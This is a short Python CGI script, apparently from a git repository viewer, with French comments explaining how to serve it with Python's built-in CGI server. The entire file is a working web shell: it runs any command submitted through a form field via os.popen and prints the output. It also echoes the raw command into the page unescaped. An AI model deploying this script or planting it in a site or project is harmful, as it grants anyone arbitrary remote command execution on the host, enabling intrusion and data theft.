blob: 0ef300ba720bef1c1b0773d8d48edc4adb206200 (
plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
|
#!/usr/bin/env python3
# après avoir lancé le serveur : python3 -m http.server --cgi
# placer le script (rendu exécutable) dans /cgi-bin...
import cgi
import os
form = cgi.FieldStorage()
if form.getvalue('command'):
cmd = form.getvalue('command')
print("Content-Type: text/html; charset=UTF-8\n\n")
print ("""
<html>
<head>
<title>Web shell</title>
</head>
<body>
<h1>Web shell</h1>
<p>Votre commande :
""")
if cmd : print(cmd)
print("""
</p>
<form action=''>
<input type='text' name='command' id='command' />
</form>
""")
if cmd :
print("<pre>")
print(os.popen(cmd).read())
print("</pre>")
print("""
</body>
</html>""")
|